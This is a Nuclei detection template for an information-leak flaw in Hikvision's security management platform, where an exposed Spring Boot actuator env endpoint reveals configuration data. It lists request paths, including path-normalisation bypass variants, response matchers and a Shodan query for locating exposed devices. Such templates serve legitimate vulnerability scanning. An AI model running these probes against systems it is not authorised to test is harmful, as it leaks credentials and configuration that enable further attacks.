id: hikvision-env

info:
  name: Hikvision Springboot Env Actuator - Detect
  author: SleepingBag945
  severity: high
  description: |
    The HIKVISION comprehensive security management platform has information leakage vulnerabilities, through which attackers can obtain sensitive information such as environment env for further attacks
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/HIKVISION/HiKVISION%20%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%20env%20%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md
    - https://peiqi.wgpsec.org/wiki/iot/HIKVISION/HiKVISION%20综合安防管理平台%20env%20信息泄漏漏洞.html
  metadata:
    verified: true
    max-request: 5
    shodan-query: app="HIKVISION-综合安防管理平台"
  tags: misconfig,hikvision,springboot,env

http:
  - method: GET
    path:
      - "{{BaseURL}}/artemis/env"
      - "{{BaseURL}}/artemis-portal/artemis/env"
      - "{{BaseURL}}/artemis/actuator/env"
      - "{{BaseURL}}/artemis;/env;"
      - "{{BaseURL}}/artemis/1/..;/env"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "applicationConfig"
          - "activeProfiles"
        condition: or

      - type: word
        part: body
        words:
          - "server.port"
          - "local.server.port"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"
          - "application/vnd.spring-boot.actuator"
          - "application/vnd.spring-boot.actuator.v1+json"
          - "application/vnd.spring-boot.actuator.v2+json"
          - "application/vnd.spring-boot.actuator.v3+json"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100aba57f3fff77e8ea0837aba48a8e2518bfb62ce4052205ef76e703e275a8a68a0220198be2a746ade95cc4e1efb7231a6b97e68fc103a45c7b13f20299e01e18f9f7:922c64590222798bb761d5b6d8e72950